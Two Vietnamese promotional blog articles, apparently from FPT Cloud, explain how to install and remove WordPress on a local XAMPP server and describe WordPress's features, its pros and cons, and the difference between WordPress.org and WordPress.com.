Tại sao cần chạy WordPress trên Localhost là câu hỏi của rất nhiều người. Trong phần giải thích khái niệm, bạn đã phần nào hiểu tính ứng dụng. Để cụ thể hơn, vai trò đó sẽ được giải thích ngay sau đây. [caption id="attachment_26222" align="aligncenter" width="800"] Cài đặt WordPress trên Localhost giúp thử nghiệm những cải tiến dễ hơn[/caption] WordPress Localhost là trang web chỉ được truy cập trong mạng nội bộ. Chúng không hoạt động trên mạng Internet. Chính vì đặc điểm này, đây được xem là môi trường an toàn. Bạn chủ động tiến hành kiểm tra tính năng mới, lên giải pháp khắc phục sự cố. Các trang nội bộ đảm bảo thực hiện các nhiệm vụ tốt hơn. Nếu bạn chưa biết WordPress Local Hosting làm được gì, hãy theo dõi bảng dưới đây: Chức năng Ý nghĩa ✅Tạo theme và plugin mới Khi sử dụng WordPress Local, bạn không còn nỗi lo thường trực như trên các web đang online. ✅Website Staging Đây là bản sao của một trang web chính. Chúng thường được sử dụng cho hoạt động kiểm nghiệm. ✅Gỡ lỗi và xử lý sự cố trang web - Sửa lỗi trực tiếp trên một trang web đang chạy có thể làm vấn đề trở nên trầm trọng hơn.- Bằng cách sử dụng WordPress Localhost, bạn được thử nhiều cách khác nhau nhằm khắc phục lỗi. Nếu sửa thất bại cũng rất dễ dàng khôi phục lại bản gốc. Vì những lý do này, cấu hình WordPress trên Localhost rất được khuyến khích. Đây sẽ là công cụ quan trọng để phát triển dự án thành công vượt trội. Hướng dẫn cài đặt WordPress trên Localhost tối ưu nhất Hướng dẫn cài đặt WordPress trên Localhost dưới đây được giải thích cặn kẽ, dễ hiểu. Nhờ có kiến thức căn bản ở trên kết hợp với phần này, bạn sẽ nhanh chóng tiếp cận và vận dụng. Một phương pháp thông dụng nhất là sử dụng XAMPP làm môi trường cài đặt WordPress Localhost. Hãy cùng tham khảo ngay để biết phần mềm này là gì cùng các bước thực hiện. XAMPP là gì? Như đã nói, để thiết lập WordPress Localhost, bạn cần sử dụng thông qua bộ phần mềm chính. Chúng bao gồm ứng dụng máy chủ như Apache, ngôn ngữ lập trình Perl hoặc PHP. Bên cạnh đó không thể thiếu phần mềm quản lý cơ sở dữ liệu – MySQL. [caption id="attachment_26226" align="aligncenter" width="800"] Sự kết hợp giữa WordPress Localhost và XAMPP đem tới trải nghiệm hoàn hảo[/caption] Thế nhưng, việc cài đặt từng thành phần riêng biệt mất tương đối nhiều thời gian. XAMPP chính là sự ghép lại của cross (x)-platform, Apache, MySQL, PHP và Perl. Công cụ giúp bạn sở hữu tất cả yếu tố một cách nhanh chóng, dễ dàng. Tại đây, người dùng có thể kiểm tra plugin, thử nghiệm theme và lập trình. Tất nhiên, phần mềm cũng giúp phát triển website theo cách an toàn nhất. Điều tuyệt vời là XAMPP hoàn toàn miễn phí. Đến với nguồn mở này, bạn sẽ nhận được sự hỗ trợ từ cộng đồng lớn. Dân công nghệ rất yêu thích phần mềm vì không chiếm nhiều dung lượng. Tất cả yếu tố cần để thiết lập máy chủ web local đều chứa trong một file duy nhất. Chúng dễ dàng giải nén chỉ trong thời gian ngắn. Hơn nữa, XAMPP không đòi hỏi bạn thực hiện thao tác phức tạp. Vì thế, hãy đến với hướng dẫn cài WordPress trên Localhost thông qua phần mềm đó ngay sau đây. Cách cài WordPress trên Xampp Trong những bước sau đây, bạn sẽ tìm hiểu cách cài WordPress Localhost cùng hướng dẫn sử dụng XAMPP. Đây là quy trình chung dễ dàng áp dụng vào bất kỳ hệ điều hành nào đang sử dụng. Bước 1: Tải phần mềm Localhost XAMPP Để sử dụng WordPress Localhost, bạn bắt đầu từ việc tải phần mềm XAMPP. Bạn chỉ cần chọn đúng phiên bản dành cho hệ điều hành trên máy mình. Người dùng không cung cấp thêm bất kỳ thông tin cá nhân nào vì đây là mã nguồn mở. [caption id="attachment_26230" align="aligncenter" width="800"] Mở đầu hướng dẫn cài đặt WordPress Localhost bằng việc tải XAMPP[/caption] Nếu sử dụng Windows sẽ thấy trên website XAMPP chỉ đề cập từ phiên bản 8.0.12 trở về trước. Tuy nhiên, phần mềm vẫn hoạt động tốt với cả những version mới hơn. Nếu sử dụng Linux hay OS X bạn cũng tìm đến sự lựa chọn tương ứng. Bước 2: Cài XAMPP trên bộ nhớ cục bộ Sau khi bước cài đặt hoàn tất, bạn tiến hành chạy phần mềm. XAMPP không yêu cầu bất kỳ lệnh đặc biệt nào trong phần này. Người sử dụng chỉ cần chạy tệp và nó sẽ tự động bắt đầu. Theo mặc định sẽ cần click vào một số tùy chọn nhưng bạn không cần bật tất cả lên. [caption id="attachment_26234" align="aligncenter" width="800"] Bạn cần bật Apache, MySQL và PHP trong phần mềm[/caption] Đối với WordPress Localhost chỉ cần có Apache, MySQL và PHP. Sau đó, hãy nhấn vào nút “Next” để phần mềm tự vận hành nhiệm vụ. Ngoài ra, bạn sẽ thấy hiển thị gợi ý tìm hiểu thêm về Bitnami cho XAMPP. Nếu thấy không cần thiết, nên bỏ qua để tiết kiệm thời gian. Trong quá trình này có thể sẽ nhận cảnh báo từ công cụ chống virus trên PC. Người sử dụng nhấn để cho phép XAMPP tiếp tục chạy. Khi kết thúc sẽ xuất hiện một hộp thoại, hãy xác nhận “Finish”. Để không phát sinh vấn đề, bạn cần để mọi thứ ở chế độ mặc định. Chỉ cần như vậy là XAMPP đã tồn tại trên PC. Giờ là lúc để bạn đi vào hoạt động chính – cài đặt WordPress Localhost. Bước 3: Kiểm tra máy chủ bằng cách khởi động mô-đun Bạn cần chạy mô – đun Apache và MySQL khi thiết lập WordPress Localhost. Cách thực hiện rất đơn giản với việc vào bảng điều khiển XAMPP. Chế độ bật được chuyển sang bằng cách nhấn nút “Start” tương ứng. Nếu chúng chuyển sang màu xanh lục chứng tỏ mọi thứ đang đi đúng định hướng. Nhìn chung, trong bước này chỉ cần chọn đúng mô – đun là được. Bước 4: Tải WordPress cho Localhost Ai đó sử dụng miền và trợ lý ảo sẽ có thể cài đặt WordPress trực tiếp trên máy chủ. Đối với Localhost, bạn tải phiên bản WordPress mới nhất. Khi download tệp hoàn tất, bạn sẽ giải nén thay vì nhấn trực tiếp vào. [caption id="attachment_26238" align="aligncenter" width="800"] Bạn nên đến trực tiếp website chính thức để tải WordPress[/caption] Để chắc chắn cài đặt WordPress Localhost thành công, cần chọn đúng nơi uy tín để lấy file. Sự lựa chọn tối ưu nhất chính là đến trang web chính thức sẽ thấy ngay đường link chất lượng. Bước 5: Tạo máy chủ cục bộ Trong bước này yêu cầu tạo cơ sở dữ liệu cho Localhost. Để làm như vậy cần tạo một thư mục lưu trữ tất cả data của trang web cục bộ. Nếu giữ mọi hoạt động giống như mặc định, bạn sẽ tìm thấy ở “C: \ xampp”. Khi truy cập sâu hơn vào bên trong sẽ thấy tệp có tên “htdocs”. Bạn mở nó ra và tạo một folder mới bên trong cho website local. Bên cạnh đó cũng đừng quên giải nén file WordPress. Từ mô – đun MySQL, người sử dụng nhấn vào nút “Admin”. Hướng lên phía trên cùng màn hình để thấy ‘Database”. Bạn click vào đó và đặt tên cho cơ sở dữ liệu. Khi đã hoàn tất, bạn ấn vào “Create” ở ngay bên cạnh. Bước 6: Cài WordPress lên Host Đến đây, quá trình cài đặt WordPress Localhost gần như đã thành công. Điều cần làm là truy cập vào trang web cục bộ. Nó thực hiện thông qua liên kết “http: // localhost / tên thư mục”. Tiếp theo, hãy cung cấp thông tin chính xác cho cơ sở dữ liệu bao gồm: [caption id="attachment_26242" align="aligncenter" width="800"] Chỉ cần nhập đúng thông tin yêu cầu, quá trình cài đặt sẽ hoàn tất[/caption] - Tên Database: Cung cấp tên bạn đã tạo cho PHPMyAdmin. - Username: Mặc định để là “root”. - Password: Để trống. Nếu các bước trên đảm bảo độ chính xác cao, một website được tạo ra cho WordPress Localhost. Ngay sau đó công cụ có thể đưa vào sử dụng, không đòi hỏi thực hiện thêm bất kỳ thao tác nào. >>> Có thể bạn quan tâm: AppServ là gì? Trọn bộ hướng dẫn cài đặt và cách sử dụng trên Windows Cách gỡ WordPress trên Localhost? Giả sử, dự án của bạn đã kết thúc và không có nhu cầu thử nghiệm nữa. Lúc này, việc giữ lại WordPress Localhost hết khả năng khai thác. Trong trường hợp đó, người dùng dễ dàng gỡ cài đặt chỉ trong vài bước. - Đối với hệ điều hành Windows, bạn đi tới Control Panel và nhấn “Uninstall” chương trình. - Nếu sử dụng app XAMPP, bạn tìm mục “App & features” trong thanh tìm kiếm. Khi nhấn vào biểu tượng phần mềm sẽ thấy tùy chọn gỡ cài đặt. - Tiếp theo là tìm đến file uninstall.exe từ trong “C:\xampp folder”. Sau đó, hãy chạy tệp này và loại bỏ mọi tính năng. Nếu làm đúng theo những bước kể trên, WordPress Localhost sẽ được xóa vĩnh viễn. Nhờ thế, PC sẽ hoạt động trơn tru hơn, giảm thiểu dung lượng cho những phần mềm không còn dùng. Như đã thấy, XAMPP là một giải pháp mạnh mẽ và linh hoạt trong việc thiết lập local web server. Môi trường hoàn hảo này sẽ giúp lập trình WordPress nhanh chóng hơn. Chỉ cần làm theo hướng dẫn, bạn chủ động hoàn toàn trong thiết lập và sử dụng. FPT Cloud hy vọng quý bạn đọc sẽ khai thác triệt để WordPress Localhost. Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399  

WordPress là gì? Hướng dẫn cài đặt WordPress cực đơn giản

14:07 15/03/2022
WordPress là một nền tảng thiết kế trang web đang rất được ưa chuộng trên thị trường. Nếu như bạn đang muốn tạo lập một trang Web thì chắc chắn rằng công cụ này sẽ rất hữu ích. Vậy hiện tại WordPress là gì? Lý do vì sao nên sử dụng công cụ này để thiết kế trang Web? Hãy cùng FPT Cloud giải đáp chi tiết ngay sau đây. WordPress là gì?  WordPress là mã nguồn mở và được viết nên bằng dạng ngôn ngữ lập trình PHP cũng như dùng hệ quản trị về cơ sở dữ liệu MySQL. [caption id="attachment_23662" align="aligncenter" width="771"] WordPress là gì?[/caption] WordPress là một công cụ hỗ trợ tạo miễn phí trên Web và chỉ cần cài lên host là đã có ngay một trang Web. Nó hoàn toàn có thể cài Theme thay đổi giao diện cho Website. Nếu như muốn tối ưu hoạt động và tăng sự sinh động cho trang Web, bạn hoàn toàn có thể thay đổi Theme cũng như cài đặt một vài Plugin thêm.  Hiển nhiên là ngoài WordPress thì bạn hoàn toàn có thể chọn cách thức lập trang Web khác với một số những mã nguồn CMS trong đó có thể kể đến như Opencart, Drupal và Joomla cũng đang là sự lựa chọn khác tốt để thay thế cho WordPress.  Tuy nhiên mức có một công cụ nào bên cạnh những ưu điểm thì cũng có một số những hạn chế nhất định. Vậy ưu điểm và hạn chế của WordPress là gì? Ưu điểm và hạn chế của WordPress WordPress hiện tại là một hệ thống về mã nguồn mở sử dụng để xuất bản những blog hoặc website được nhiều người dùng yêu thích, lựa chọn. Vậy những ưu điểm và hạn chế của WordPress là gì? Ưu điểm  Những ưu điểm nổi bật của WordPress theo đó có thể kể đến như:  Dễ quản lý: Hệ thống quản trị rất dễ dàng, toàn bộ những mục ví dụ như giao diện, bài đăng và cài đặt,... Đang được sắp xếp vô cùng khoa học, dễ hiểu và rất thân thiện với tất cả người dùng. Dễ sử dụng: Thao tác dùng WordPress cũng vô cùng đơn giản, dễ hiểu đặc biệt là rất dễ vận hành. Vì vậy người dùng không cần phải biết quá nhiều những kiến thức lập trình nâng cao.  Tối ưu hóa SEO: Hiện tại nó đang có những công cụ mặc định để giúp cho SEO trang web nhanh hơn và dễ dàng hơn.  Thiết kế Website đa dạng: Rất nhiều những gói giao diện có sẵn và hệ thống Themes vô cùng đồ sộ hoàn toàn có thể làm được nhiều loại trang Web.  Hỗ trợ đa dạng ngôn ngữ khác nhau: WordPress hiện tại đang hỗ trợ với tổng cộng là 52 ngôn ngữ đa dạng khác nhau và trong đó có cả tiếng Việt. [caption id="attachment_23666" align="aligncenter" width="771"] Ưu điểm của WordPress là hỗ trợ đa dạng ngôn ngữ khác nhau[/caption] Có cộng đồng người dùng vô cùng rộng lớn: Hoàn toàn có thể học hỏi được những mẹo vặt cũng nhiều thủ thuật cho WordPress từ người khác trên Internet. Giúp tiết kiệm chi phí: Hiện tại đang có rất nhiều những themes miễn phí và đồng thời cũng có sẵn để người dùng sử dụng. Như vậy bạn hoàn toàn có thể thiết kế riêng một trang Web và không phải tốn bất cứ một chi phí nào.  Hạn chế  Tuy là 1 mã nguồn mở đang rất được yêu thích và nhiều người lựa chọn, nhưng WordPress hiện tại cũng có một số điểm hạn chế nhất định mà người dùng cần phải lưu ý. Cụ thể: Cài đặt plugin và template: Quá trình cài đặt không hề đơn giản và nếu như cài đặt không đúng cách thì rất có thể sẽ dẫn tới nhiều xung đột trong suốt quá trình sử dụng.  Chỉ phù hợp với những doanh nghiệp nhỏ: Với hiệu suất thấp trong quá trình xử lý những cơ sở dữ liệu có dung lượng lớn. Vì vậy sẽ không phù hợp cho những doanh nghiệp hiện tại đang có dung lượng của máy chủ lớn.  >>> Có thể bạn quan tâm: SSL là gì? Kiến thức cần biết về chứng chỉ số SSL từ A - Z Phân biệt giữa WordPress.org và WordPress.com Tuy nhiên hiện tại mã nguồn mở này trên thị trường đang có hai tên miền đó chính là WordPress.org và WordPress.com. Vậy điểm khác biệt giữa WordPress.org và WordPress.com là gì? WordPress.org Đối với WordPress.org thì bạn phải mua Hosting với khoảng 3.49$/tháng (tức là khoảng 81.000/đồng) cũng như tên miền là 10$/năm (tức là khoảng 231.000 đồng). Người dùng hoàn toàn có thể upload theme trả phí, miễn phí và theme tự chỉnh sửa. Ngoài ra cũng có thể tự chỉnh sửa theme của trang Web theo như ý muốn của bản thân. [caption id="attachment_23670" align="aligncenter" width="771"] Phân biệt giữa WordPress.org và WordPress.com[/caption] Người dùng phải tự chịu toàn bộ trách nhiệm về việc tối ưu, cập nhật, sao lưu, chống spam hay cũng có thể thuê bất cứ ai để thực hiện điều này.  Người dùng hoàn toàn có thể sử dụng bất cứ plugin và cho phép bạn thêm bất cứ một tính năng hoặc thứ đặc biệt cho trang Web của bản thân.  Người dùng hoàn toàn có thể kiếm tiền từ trang Web thông qua việc đặt những banner quảng cáo hay affiliate link cũng như bất kỳ thứ gì mà bạn mong muốn.  WordPress.com WordPress.com về cơ bản là miễn phí tuy nhiên sẽ bị giới hạn về mặt dung lượng với 3GB đối với tên miền subdomain của .wordpress.com Người dùng không thể nào upload cũng như bị giới hạn về theme có thể dùng trên WordPress.com. Ngoài ra cũng phải trả thêm 30$/năm (tức là khoảng 693.000 đồng) để chỉnh sửa code. Người dùng không cần phải quan tâm tới quá trình bảo dưỡng do WordPress.com sẽ tự chịu trách nhiệm toàn bộ về tất cả mọi thứ sao lưu, cập nhật,... Người dùng không thể nào upload hoặc dùng plugin cũng như giới hạn một số nhận tính năng cố định hiện đang có sẵn ngay trên WordPress.com. Người dùng sẽ không được phép đặt banner ngay trên trang Web của bản thân cho tới khi đạt được 25.000 lượt xem/tháng. Ngoài ra cũng phải cần nộp một đơn xin phép.   Nên sử dụng WordPress.com hay WordPress.org Nếu là một blogger cá nhân, bạn không cần phải quan tâm tới việc kiếm tiền thông qua trang Web. Như vậy tốt nhất nên lựa chọn WordPress.com. Ngược lại nếu như bạn đang là một blogger cố gắng phát triển blog để trở thành một nghề nghiệp của bản thân thì khi đó nên dùng self host WordPress.org. [caption id="attachment_23674" align="aligncenter" width="771"] Nên sử dụng WordPress.com hay WordPress.org[/caption] Lý do nên sử dụng WordPress? Hầu hết bất cứ ai khi tạo trên một trang Web hoặc Blog cũng đều lựa chọn sử dụng mã nguồn mở WordPress này. Vậy những lý do nên sử dụng WordPress là gì? Hãy cùng điểm qua một số những yếu tố chính sau đây: Là một nền tảng CMS lớn và rất nổi tiếng Hiện tại WordPress đang đứng đầu về danh sách 3 gói xây dựng nên trang Web thường xuyên được sử dụng nhiều nhất trên khắp thế giới. Tiếp theo sau đó phải kể đến những cái tên như Drupal và Joomla.  Có tới hơn 29 % những trang Web hiện nay trên toàn cầu đang lựa chọn sử dụng WordPress và số lượng này cũng không ngừng tăng lên liên tục mỗi ngày.  Ngoài ra đây không những là một nền tảng blog đơn giản mà còn là hệ thống quản lý về nội dung vô cùng hiệu quả.  [caption id="attachment_23678" align="aligncenter" width="771"] Lý do nên sử dụng WordPress?[/caption] Có lịch sử hình thành lâu đời  WordPress đã được ra mắt chính thức trên thị trường vào năm 2003 và sau đó đã bắt đầu như 1 công cụ dành cho những blogger. Chỉ sau một thời gian mã nguồn này đã phát triển nhanh chóng và thu hút những doanh nghiệp tới những lập trình viên hiện đang có ít kinh nghiệm đối với nền tảng này.  Ở thời điểm hiện tại có không ít những hệ thống CMS mới được mọc lên, tuy nhiên vị trí WordPress vẫn cũng không bao giờ bị lung lay. Mỗi ngày có tới gần 500 những trang Web mới đã được tạo ra bằng WordPress. Có mã nguồn CMS mở Hiện tại mã nguồn mở đang cung cấp những tính năng tùy biến, tự quản lý, tự cài plugin và tự thay đổi theme. Bạn hoàn toàn có thể tùy chỉnh theo như ý muốn của bản thân và không cần phải dùng dịch vụ ở bất cứ một đơn vị nào khác.  [caption id="attachment_23682" align="aligncenter" width="771"] Hiện tại mã nguồn mở đang cung cấp những tính năng tùy biến, tự quản lý, tự cài plugin[/caption] Công việc của bạn lúc này đó chính là đăng ký 1 tên miền cũng như hosting để có thể chạy WordPress Dễ dàng sửa chữa, tùy chỉnh Khi lựa chọn sử dụng WordPress, vấn đề về giao diện sẽ trở nên nhanh chóng và dễ dàng. Nhờ vào một kho Theme WordPress đa dạng chắc chắn sẽ giúp cho quá trình thực hiện những thiết kế được trở nên đơn giản và hấp dẫn hơn.  Nếu như đang có những kỹ thuật cơ bản cùng với 1 theme được thiết kế tốt thì khi đó bạn hoàn toàn có thể tự sửa đổi. Trong trường hợp nếu như không thể thì vẫn tự tìm kiếm thông qua internet hay nhờ những chuyên gia.  Thân thiện với một công cụ tìm kiếm WordPress hiện tại đang được thiết kế để có thể thân thiện cùng với SEO do nó gồm có nhiều những công cụ cũng như plugin nhằm tối ưu hóa nội dung dành cho SEO. Khi thiết kế Web nếu như sử dụng nó chắc chắn sẽ giúp cho trang web của bạn được trở nên thu hút với những công cụ tìm kiếm.  [caption id="attachment_23686" align="aligncenter" width="771"] WordPress hiện tại đang được thiết kế để có thể thân thiện cùng với SEO[/caption] Có cộng đồng lớn người dùng và sẵn sàng hỗ trợ WordPress hiện tại đang là địa điểm lưu trữ cho 1 diễn đàn cộng đồng vô cùng khổng lồ đang được kiểm duyệt bởi những nhân viên cũng như những ai yêu thích WordPress. Như vậy nếu như gặp khó khăn thì bạn hoàn toàn có thể lên mạng cũng như tìm kiếm cộng đồng WordPress. Chắc chắn rằng họ sẽ giúp cho bạn trả lời cũng vô giải đáp tất cả những vấn đề đang gặp phải.  Đa dạng themes và plugin  Đây hiện tại là một nền tảng thiết kế trang web đang rất được ưa chuộng trên thị trường. Nếu như bạn đang muốn tạo lập một trang Web thì chắc chắn rằng công cụ này sẽ rất hữu ích. Đặc biệt là có đa dạng themes và plugin. Cụ thể Plugin mở rộng hiện tại là một thành phần được cài đặt thêm vào trong nó để có thể tăng thêm những tính năng cần thiết, và có rất nhiều những plugin miễn phí hoặc trả phí.  Nhờ vào số lượng người dùng đông đảo cũng như thư viện plugin và themes của WordPress vô cùng phong phú. Bạn hoàn toàn có thể thỏa thích lựa chọn themes và plugin phù hợp với mục đích lập trình trang Web của bản thân.  [caption id="attachment_23690" align="aligncenter" width="771"] Plugin mở rộng hiện tại là một thành phần được cài đặt thêm vào trong WordPress[/caption] Rất dễ dàng sử dụng Với bất cứ mọi Hosting nào thì hiện tại đây cũng đều có thể thiết lập một cách dễ dàng vì trên thực tế nó đã và đang cung cấp tới khoảng 60 % trên toàn bộ Web.  Ngoài ra bạn cũng sẽ có toàn quyền tự do quyết định địa điểm lưu trữ trang Web WordPress. Có tính bảo mật rất tốt WordPress hiện tại đang có tính bảo mật rất tốt cho tất cả trang web cũng như người dùng trên thị trường. Vì hiện tại đây đang là một nền tảng hỗ trợ xây dựng trang Web cũng như blog lớn nhất trên khắp thế giới. Điều quan trọng nhất đó chính là bảo vệ toàn bộ nội dung khỏi những cuộc tấn công spam.  Như vậy đảm bảo việc đầu tư vào 1 theme an toàn cũng như xem xét tới việc sử dụng những dịch vụ sau lưu có thể kể đến như VaultPress hay bất cứ một plugin sao lưu bảo mật khác. [caption id="attachment_23694" align="aligncenter" width="771"] WordPress đang là một nền tảng hỗ trợ xây dựng trang Web cũng như blog [/caption] Thoả mãn được trải nghiệm của người dùng WordPress hiện tại đang giúp thoả mãn được trải nghiệm của người dùng. Cụ thể khi tiến hành xây dựng thành công được một trang Web thì bước kế tiếp cần phải thực hiện đó chính là tiếp thị. Chính vì vậy SEO đã xuất hiện. Nhờ vào việc trực tiếp tạo CMS ngay từ ban đầu thì việc thiết kế web cũng như SEO bằng nó sẽ dễ dàng hơn và đặc biệt là ít tốn thời gian hơn.  >>> Có thể bạn quan tâm: Website là gì? Toàn tập kiến thức về website từ A - Z Các dạng website có thể tạo từ WordPress Hiện tại đây hoàn toàn có thể được dùng để khởi tạo hầu hết các loại trang Web điển hình trên thị trường có thể kể đến như: Blog Đây hiện tại đang được coi là một công cụ blogging. Do đó phần mềm này hiện vẫn được dùng nhiều nhất với mục đích là lập blog cá nhân. Người dùng hoàn toàn có thể bắt đầu blog miễn phí. Trong trường hợp nếu như muốn blog được biết tới nhiều hơn thì bạn hoàn toàn có thể dùng những gói có tính phí.  [caption id="attachment_23698" align="aligncenter" width="771"] Các dạng website có thể tạo từ WordPress hiện nay[/caption] Portfolios Danh mục sản phẩm hay Portfolios đang là một địa điểm mà những nhà thiết kế, nhạc sĩ, nhiếp ảnh gia, nghệ sĩ và freelancers,… thể hiện sự sáng tạo để thu hút những nhà tuyển dụng và khách hàng. Rất nhiều người đã lựa chọn nó để làm nền tảng giúp thể hiện Portfolios do WordPress có chứa rất nhiều những giao diện phù hợp, bắt mắt.  Website doanh nghiệp Thật sự đây đang là một giải pháp vô cùng tuyệt vời dành cho những doanh nghiệp vừa và nhỏ, cùng với đó là chi phí khá rẻ. Những doanh nghiệp lớn hiện tại cũng đã dùng nó để có thể thiết lập trang Web nhờ vào kho plugin và tính năng vô cùng phong phú. Website từ thiện  WordPress hiện tại đang có một giao diện vô cùng thân thiện và dễ sử dụng, cùng với đó là giá thành khá thấp. Do đó những nhà thờ phải nhà từ thiện luôn lựa chọn nơi đây để thiết lập cũng như phát triển trang Web. Vì đây hiện tại đều là các tổ chức phi lợi nhuận. Nhờ vào sự hỗ trợ từ WordPress tối đa mà họ có thể dùng dịch vụ một cách hiệu quả và tiết kiệm.  Website bán hàng  [caption id="attachment_23702" align="aligncenter" width="771"] Người dùng hoàn toàn có thể tự mở shop online của riêng bản thân nhờ vào WordPress.[/caption] Theo đó hiện tại người dùng hoàn toàn có thể tự mở shop online của riêng bản thân nhờ vào WordPress. Tốt nhất là hãy cài đặt plugin thương mại điện tử là WooCommerce thêm trên WordPress của trang web. Plugin này hiện tại sẽ hỗ trợ với các tính năng thiết yếu dành cho một trang Web bán hàng có thể kể đến như click hoàn phí, thanh toán, quản lý đơn hàng và shopping carts,… Cách cài đặt WordPress  Để cài đặt WordPress thì bạn cần thực hiện theo những bước cơ bản sau đây: Bước 1: Cài đặt WordPress từ những mã nguồn đang chạy độc lập lên trên Hosting WordPress hay Hosting Linux đăng ký ở những nhà cung cấp hosting đảm bảo độ uy tín. Hay cũng có thể truy cập trực tiếp vào trang Web “https://wordpress.com/” để sử dụng và không cần phải cài lên host. Bước 2: Đăng ký 1 tài khoản miễn phí hay mua gói tính phí tại trang chủ của WordPress. Hay cũng có thể dùng WordPress Toolkit ngay trên Plesk nhằm thiết lập trang web nếu như cài hosting WordPress. Bước 3: Tạo những bài viết, quản lý hình ảnh, thư viện với Media, thiết lập những giao diện cùng với Appearance hay quản lý bình luận cùng với Comments tại giao diện Dashboard. [caption id="attachment_23706" align="aligncenter" width="771"] Tạo những bài viết, quản lý hình ảnh, thư viện với Media, thiết lập những giao diện[/caption] Như vậy qua bài viết trên có thể thấy được rằng WordPress hiện tại đang là một trong những công cụ tạo blog, trang Web được nhiều người sử dụng. Hy vọng rằng với những thông tin được FPT Cloud cung cấp qua bài viết trên sẽ giúp bạn hiểu rõ hơn về công cụ vô cùng phổ biến này. Và đặc biệt là có thể tạo, quản lý trang Web dễ dàng hơn nhờ vào WordPress.  Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399  
DMCA compliant image